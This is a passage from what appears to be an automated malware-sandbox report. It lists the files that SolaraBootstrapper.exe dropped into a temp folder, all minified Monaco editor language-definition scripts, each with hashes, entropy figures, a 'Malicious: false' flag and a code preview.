Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/fsharp/fsharp", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(n,e)=>{for(var o in e)s(n,o,{get:e[o],enumerable:!0})},g=(n,e,o,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of a(e))!l.call(n,t)&&t!==o&&s(n,t,{get:()=>e[t],enumerable:!(i=r(e,t))\|\|i.enumerable});return n};var f=n=>g(s({},"__esModule",{value:!0}),n);var d={};c(d,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"//",blockComme

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\go\go.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2979)
Category:	dropped
Size (bytes):	3476
Entropy (8bit):	5.3108132560576715
Encrypted:	false
SSDEEP:	96:pQFDHnYRs9+/EnarbV1+OK6V1+j/X6LKMAnuLfb6j79wGcmDRBmM:G9YuarT/NQuqpiUz
MD5:	AE78759C0ACCDC96A28A982AFCEDCBFB
SHA1:	0CC65DE836EF180B910B547619E708FC763F8412
SHA-256:	EA2D2E46F02FAF4D44B95E07713F5784588A4223C218F75C12820EDA16EB1B27
SHA-512:	60EF93A60B1A202C894F9C7A5F692761C03758EF62149D363327992E2E15BC925DE858E68D609DBB895DE72617EC04F9EA7AF14F4BDF6B03F9C75C0EC47FF98B
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/go/go", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var m=(n,e)=>{for(var t in e)s(n,t,{get:e[t],enumerable:!0})},l=(n,e,t,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of a(e))!c.call(n,o)&&o!==t&&s(n,o,{get:()=>e[o],enumerable:!(r=i(e,o))\|\|r.enumerable});return n};var g=n=>l(s({},"__esModule",{value:!0}),n);var d={};m(d,{conf:()=>p,language:()=>u});var p={comments:{lineComment:"//",blockComment:["/*"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\graphql\graphql.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2582)
Category:	dropped
Size (bytes):	3089
Entropy (8bit):	5.523286773949331
Encrypted:	false
SSDEEP:	96:pQFDHnYRs3e+/EJsmV1+0qGV1+XI7fojagGn8p:G9YuNiRfLy
MD5:	7286A9AE1920C07990495E4C7E5F7E91
SHA1:	16CE86B2082EDF389B67B01A7E31CDE2F2576C42
SHA-256:	C937A21620654373DA4D87B9E2F20CBCA1C02906D05F53DDE5E41FE737DEE930
SHA-512:	A99EA0E80FF4A5870733DD10407882A526DA0CE93A68CAED4C33AE17E75A290224138A209F2CE1B587D2F2B771D0FA4D829B2CE8BC76F0DC8355E1FAE3B06A05
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/graphql/graphql", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(n,e)=>{for(var t in e)s(n,t,{get:e[t],enumerable:!0})},d=(n,e,t,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of i(e))!l.call(n,o)&&o!==t&&s(n,o,{get:()=>e[o],enumerable:!(r=a(e,o))\|\|r.enumerable});return n};var p=n=>d(s({},"__esModule",{value:!0}),n);var u={};c(u,{conf:()=>g,language:()=>I});var g={comments:{lineComment:"#"},brackets

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\handlebars\handlebars.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (7354)
Category:	dropped
Size (bytes):	7867
Entropy (8bit):	5.363674212110662
Encrypted:	false
SSDEEP:	192:G9Y1JAtC+U+nBQld2BZ1x0p4OE60+dMZLDJ:GeJAtCHyxePlb2DJ
MD5:	970D86FA036850C5BC3B92FAED3CC392
SHA1:	DBDC65D05EEA7B95A3599875E8D71FEA0A80F264
SHA-256:	E17FF28CFDA2D8306C9E74394D67329A6FA98D696AF08F66B9E7B42E87971CC0
SHA-512:	8457F6DE555AE295CC918A55D469978D47D5D96B33B726F2C71A3DA71EE1B11E89AA40A1F433269667424D9DE3CD368699D9BE56B489AFCC372E772E26604ACA
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/handlebars/handlebars", ["require","require"],(require)=>{.var moduleExports=(()=>{var h=Object.create;var i=Object.defineProperty;var b=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,k=Object.prototype.hasOwnProperty;var y=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,n)=>(typeof require!="undefined"?require:t)[n]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var T=(e,t)=>()=>(t\|

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\hcl\hcl.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3912)
Category:	dropped
Size (bytes):	4411
Entropy (8bit):	5.371544690251042
Encrypted:	false
SSDEEP:	96:pQFDHnYRsU+/ErLoQV1+VV1+eOGo15nb6IMn8BqTgMZiGfACnlawG8J2LHEFkQ:G9YVLo4c6GupM8MzYCnlaTjc
MD5:	557F27EDE3950BCAC0EE6931E40D4D60
SHA1:	5C8A59C010E7592603F99C7B72E32AB093FFA802
SHA-256:	20E7B4AE616A398D20BF97A25F773DF9D4D56C5008717BE2F29C21A37F4BDB2B
SHA-512:	B5ACC9FFE6F6795C2F0D8DFBF87DC7DF6601AB96C61B16736B44A6820041204DDAE6ADCA65361CFD2F41789D05A26AD9DB4BC64B0D9365A6AF8F50EAABCE6529
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/hcl/hcl", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var o in e)r(t,o,{get:e[o],enumerable:!0})},d=(t,e,o,n)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let s of i(e))!c.call(t,s)&&s!==o&&r(t,s,{get:()=>e[s],enumerable:!(n=a(e,s))\|\|n.enumerable});return t};var m=t=>d(r({},"__esModule",{value:!0}),t);var f={};l(f,{conf:()=>p,language:()=>g});var p={comments:{lineComment:"#",blockComment:["/*

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\html\html.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (5594)
Category:	dropped
Size (bytes):	6095
Entropy (8bit):	5.390237052992852
Encrypted:	false
SSDEEP:	96:pQFDHnYRsEBlGV//sgwYI3vV1+/6mQVV1+7BXBGl0GSytHd6EHaK4T6ETYmYS6EA:G9YXAin3n+4Qlgl0GSytHLaK45P8cKMg
MD5:	A0839B694D3BE2826C7AD706B9F7C105
SHA1:	306CAC34E9CEA93B9F0934A605D066C64E634D1B
SHA-256:	2213B2419FEFEC449189CCD7ADA6E444FC0AE9325F53D77F27BE916DD82ED522
SHA-512:	71C7F104576F2B495CF8CCEE129A44131C6D20F8E97AFC48EE942CC5507A6731BDD86FB4D04BA5736F54EA321F06F8D6BB37F14C80F7B25C58441332396FD6A3
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/html/html", ["require","require"],(require)=>{.var moduleExports=(()=>{var u=Object.create;var a=Object.defineProperty;var b=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var y=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var k=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,n)=>(typeof require!="undefined"?require:t)[n]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var E=(e,t)=>()=>(t\|\|e((t={expor

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\ini\ini.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1423)
Category:	dropped
Size (bytes):	1922
Entropy (8bit):	5.394736650402756
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRsF6tk+/EAy6+eu0V1+/n0V1+/AB60K:pQFDHnYRsF6tk+/ERbmV1+/0V1+/Ag3
MD5:	3FE8B523BBEB47087B0CEB9B89F94F69
SHA1:	64798C8CA02212ADA0346D07C27E678439633055
SHA-256:	3D888E02D0B0CED0EE1464E307D7689653ECE70553C17BC4F0325C436F033E9B
SHA-512:	AB476CE5F0FD19E87137E33BFBAEC06517B0BD039223FB7D4F619D2702A587BC59CE646252B8C43DF5E34561E08ED5B493119946F8EAB51CADB11C7CC18F410A
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/ini/ini", ["require","require"],(require)=>{.var moduleExports=(()=>{var t=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var g=Object.prototype.hasOwnProperty;var c=(n,e)=>{for(var s in e)t(n,s,{get:e[s],enumerable:!0})},l=(n,e,s,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of r(e))!g.call(n,o)&&o!==s&&t(n,o,{get:()=>e[o],enumerable:!(a=i(e,o))\|\|a.enumerable});return n};var p=n=>l(t({},"__esModule",{value:!0}),n);var f={};c(f,{conf:()=>u,language:()=>m});var u={comments:{lineComment:"#"},brackets:[["{","

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\java\java.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3543)
Category:	dropped
Size (bytes):	4044
Entropy (8bit):	5.362534459264137
Encrypted:	false
SSDEEP:	96:pQFDHnYRsO+/EYx+rbV1+/0V1+/mQqZ4SgLhb67g71wGcaRW8P:G9Y6+rTx1SSgLBZiaf
MD5:	96443484AA667722DB07542BD0DC6F81
SHA1:	C9F5F02401A2370BB52A784A1C4470A7F0F413F6
SHA-256:	EE57D3885B119A5585180CAA2C26498BF6E6640B10481DC9677B7610198C4E2E
SHA-512:	46F69516C4254CF50B26A3E7C92BE4288AF83ED25EE9A5B7649502CD916BC8069AE8C4C04EDE54D1BFC5599807E817F5726C78AC65EDEA5EA5D7A61C52DA8221
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/java/java", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},d=(t,e,o,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of r(e))!c.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(i=a(e,n))\|\|i.enumerable});return t};var g=t=>d(s({},"__esModule",{value:!0}),t);var f={};l(f,{conf:()=>m,language:()=>p});var m={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\#\%

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\javascript\javascript.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (6664)
Category:	dropped
Size (bytes):	7177
Entropy (8bit):	5.340697066386712
Encrypted:	false
SSDEEP:	96:pQFDHnYRsv6V//wZM4hFnx+rzmEmSLV1+KgqIqRnytBGMBb6IoxxwpcaxuSWlYTZ:G9Y/shb+rSBy10SdFSWl4eY1LV
MD5:	C28332134B3A1E3A81621E08888D1C23
SHA1:	0A79894F59E8224E1FFD4C1431ED6306CCAAE5A5
SHA-256:	E7276C9E1382AEBB07C75F6F62D52F7DF17DDB06ECED55CBF2B6F0BE6B22B113
SHA-512:	04A7A563381896C8B044690C9675DE87AA1377BAACB43E7EBC36853B66AF35F2F9156E33237FD16990E8B0FFD6F40961A7C97D47B3F404C78BD22EFDAEA6FF93
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/javascript/javascript", ["require","require"],(require)=>{.var moduleExports=(()=>{var x=Object.create;var a=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var b=Object.getPrototypeOf,k=Object.prototype.hasOwnProperty;var y=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,n)=>(typeof require!="undefined"?require:t)[n]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var w=(e,t)=>()=>(t\|

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\julia\julia.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (7546)
Category:	dropped
Size (bytes):	8052
Entropy (8bit):	5.342203477681667
Encrypted:	false
SSDEEP:	192:G9Y0ooxSTTPkomoXGZ8OBcgbmUkZYugpp9:GFxu1GZ8Oqgbhkw5
MD5:	B0ABF2D2AEDA11C1C55188E8937348BB
SHA1:	64F42B91D855145954572DA2870337FE549DF86D
SHA-256:	763D2D709CC767AEBB86D7F47E094A2FF0EC6C2FF20DB746087DA25F5793CF1B
SHA-512:	0C4DDF9BE69E98B430E06501F435FF3DB7AE13CC7BDA69A4F5A5AF888635B78BAC82F3D5D85058496689B88BE78EC5E2042E865B8B18309B3EBD488376FEF04C
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/julia/julia", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var p=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},l=(t,e,n,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let r of s(e))!p.call(t,r)&&r!==n&&o(t,r,{get:()=>e[r],enumerable:!(a=i(e,r))\|\|a.enumerable});return t};var d=t=>l(o({},"__esModule",{value:!0}),t);var u={};c(u,{conf:()=>g,language:()=>m});var g={brackets:[["{","}"],["[","]"],["(",")"]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\kotlin\kotlin.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3761)
Category:	dropped
Size (bytes):	4266
Entropy (8bit):	5.3176292410340915
Encrypted:	false
SSDEEP:	96:pQFDHnYRsY+/Ewx+rbV1+/0V1+/mQfbKg2fOjb6wg71wGcaRD8P:G9Yo+rTx1ke3ZiaI
MD5:	3B3DF48820FA9BABB28073503DE74C42
SHA1:	9B979531E998FE5F4EC23732F586D08ADFB66F7B
SHA-256:	E4820FCF63E4C464499AAB40FF948027987E1484A045A91741BBA480FC71D687
SHA-512:	B4F8635360CD8CAA8BF8ECE159EAFC5E9A49CB69FE4B51778EBA4FD1302195512C28123FC7A77D29E47026CE4E6BFAD68AA11160B17C8E6847EEDA1BCADF232E
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/kotlin/kotlin", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(n,e)=>{for(var i in e)o(n,i,{get:e[i],enumerable:!0})},d=(n,e,i,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of r(e))!c.call(n,t)&&t!==i&&o(n,t,{get:()=>e[t],enumerable:!(s=a(e,t))\|\|s.enumerable});return n};var g=n=>d(o({},"__esModule",{value:!0}),n);var f={};l(f,{conf:()=>m,language:()=>p});var m={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\less\less.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2868)
Category:	dropped
Size (bytes):	4721
Entropy (8bit):	5.346231459881856
Encrypted:	false
SSDEEP:	96:pQFDHnYRsZIK+/E86rMq+q17qcq6V1+/e+ufj1cCzBbu/2nOgemmEuluHrraW4NR:G9Y0a6rr9auhlzBbu4OYDugqW4NUk
MD5:	ECCC0FDAF625D47363B445C514F7FFB1
SHA1:	EA58AA904E360B169978E16FED52596E71C5A25F
SHA-256:	291122062F89179DB9A9495490FA112AEB003B04CD68E51F34722E79FEC05188
SHA-512:	B271C0D4D8E0EA8A4CBDCBE3C4CB62B1F790FC184573E569A9B6D17E43BE2913E1DB88BBBDC3FFD9ACEC3AFA3BEC18BAEED7EC7B72CD63AD76E5F2BC8BA31959
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/less/less", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var d=(t,e)=>{for(var i in e)r(t,i,{get:e[i],enumerable:!0})},u=(t,e,i,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!l.call(t,n)&&n!==i&&r(t,n,{get:()=>e[n],enumerable:!(o=s(e,n))\|\|o.enumerable});return t};var c=t=>u(r({},"__esModule",{value:!0}),t);var p={};d(p,{conf:()=>m,language:()=>g});var m={wordPattern:/(#?-?\d\.\d\w%?)\|([@#!.:]?

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\lexon\lexon.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2759)
Category:	dropped
Size (bytes):	3262
Entropy (8bit):	5.308125335507135
Encrypted:	false
SSDEEP:	96:pQFDHnYRs/P+/EXB6V1+/UV1+j/mQ4pEbOTX51wGKd3/r:G9YYfBm537FXfod3T
MD5:	6002B31F497EBA52A0C2A42A948ABCEF
SHA1:	32EFEE628A1AE1501D036242F7CDBF6525D2DFAA
SHA-256:	D55482FD3FFCCD1F243C9335DBC10504E0896EA0B27B9E5DB8BD129C1AAD8DD2
SHA-512:	A1732606345689706D7391646600801ABA0BA00E0E8DD10B1AAD06778860AC2769D1E8E14CF2F928AA5BE577C63243CDAF09A12DCE6EB105189D68F99DCB52C5
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/lexon/lexon", ["require","require"],(require)=>{.var moduleExports=(()=>{var n=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var i in e)n(t,i,{get:e[i],enumerable:!0})},p=(t,e,i,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of d(e))!a.call(t,o)&&o!==i&&n(t,o,{get:()=>e[o],enumerable:!(r=s(e,o))\|\|r.enumerable});return t};var c=t=>p(n({},"__esModule",{value:!0}),t);var k={};l(k,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"COMMENT"},bracke

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\liquid\liquid.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (4540)
Category:	dropped
Size (bytes):	5045
Entropy (8bit):	5.356467049943116
Encrypted:	false
SSDEEP:	96:pQFDHnYRsVV//zFqF/V1+/I/MBTBEyXXdzAJSJJlW7a+AApDp:G9YoGS5myXX6Ajl4a+AAn
MD5:	03FF655521479E1B4E576776C5FF9D6A
SHA1:	463159A64BEED5648C995126FB2A892F020FFF9A
SHA-256:	CA01C2B1A36AB94E30542F3B936798B3B8D51C2BFC88789E416C26529E91D785
SHA-512:	B4B207FD48634378B0DECB9BF4708BC510653FA018A1F68DF167D917F7BDFDD3ED61E9F58712BC8E22E6FCCC12F17EABF54BEA36E7470A01FAD3B2912DE969DC
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/liquid/liquid", ["require","require"],(require)=>{.var moduleExports=(()=>{var p=Object.create;var a=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var w=Object.getOwnPropertyNames;var h=Object.getPrototypeOf,q=Object.prototype.hasOwnProperty;var f=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,i)=>(typeof require!="undefined"?require:t)[i]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var b=(e,t)=>()=>(t\|\|e((t={e

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\lua\lua.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2445)
Category:	dropped
Size (bytes):	2944
Entropy (8bit):	5.347423005039242
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRs4l+/EYHgUCl0V1+/n0V1+/OFdI/1cFswqb6jxFv7cuVfl20F:pQFDHnYRso+/EHUC6V1+/0V1+/6dIeM4
MD5:	82922FFBE64017A02786A0943E8382A3
SHA1:	1AC1BCAD8D21045F3208826D1F18E4350B0AE019
SHA-256:	4475C0F4D02C2C6145B097B80CC7E4C3AF9246639D20869FF394FE70926CD942
SHA-512:	EBC38A944D3846B2FEF5BBE8325506DDDBDFD3AF8CE705873A1A711C8C7C38C62FB7CB9EB7D99B856510A3274A5A9CB1609E53D3787F07277618A3A897969F00
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/lua/lua", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var t in e)s(o,t,{get:e[t],enumerable:!0})},m=(o,e,t,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of i(e))!l.call(o,n)&&n!==t&&s(o,n,{get:()=>e[n],enumerable:!(r=a(e,n))\|\|r.enumerable});return o};var p=o=>m(s({},"__esModule",{value:!0}),o);var u={};c(u,{conf:()=>d,language:()=>g});var d={comments:{lineComment:"--",blockComment:["-

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\m3\m3.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3139)
Category:	dropped
Size (bytes):	3636
Entropy (8bit):	5.545341243626053
Encrypted:	false
SSDEEP:	96:pQFDHnYRs3Q+/EsaV1+UBgqoXDR208zpKfkR6uvO6zhGIi:G9YVGg0kpKfkR6uvdhc
MD5:	F292917045D92569E955014DB9B0199D
SHA1:	0942ED7251D97857E7FC835CE83ACDBB6D10F4BB
SHA-256:	BCDDB65CFDC3C63E67CCF57993ECEA2F279B61F92AD046E096D980A706D23017
SHA-512:	7788BE4D1E377BDEC5275D505BCA9B413A52846618AA79F7929C710A85007D6802094D733D182E644612E15A75338C5DA395893AC8B5AD8CEB0E51EF4AE00002
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/m3/m3", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var E=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var i=Object.prototype.hasOwnProperty;var R=(o,e)=>{for(var s in e)r(o,s,{get:e[s],enumerable:!0})},c=(o,e,s,n)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of a(e))!i.call(o,t)&&t!==s&&r(o,t,{get:()=>e[t],enumerable:!(n=E(e,t))\|\|n.enumerable});return o};var m=o=>c(r({},"__esModule",{value:!0}),o);var N={};R(N,{conf:()=>A,language:()=>p});var A={comments:{blockComment:["(",")"]},brackets:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\markdown\markdown.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (4110)
Category:	dropped
Size (bytes):	4619
Entropy (8bit):	5.439673301140114
Encrypted:	false
SSDEEP:	96:pQFDHnYRs1+/EzK1sV1+b+VcqZEmFpCFY4cDWEzk:G9YD10KARFcq4b
MD5:	9354B068E6E2DAAF2F3023DED710E8A0
SHA1:	A31B100F17182F11B607F1339F425034B6B09DFA
SHA-256:	66F8B288EDE67F908CB776AEFF8C9E24996182B878C5DA7FFA4BD6F3CBC38A6B
SHA-512:	6055251EF5A633100976B1BBA11946FDBCBBF6169FADDBD2CE9FB20F4EED25C04247BD967BCE6E9C1399C88B4FAC708328CD0750E9E8E03774D0F548EBFBC73A
Malicious:	false
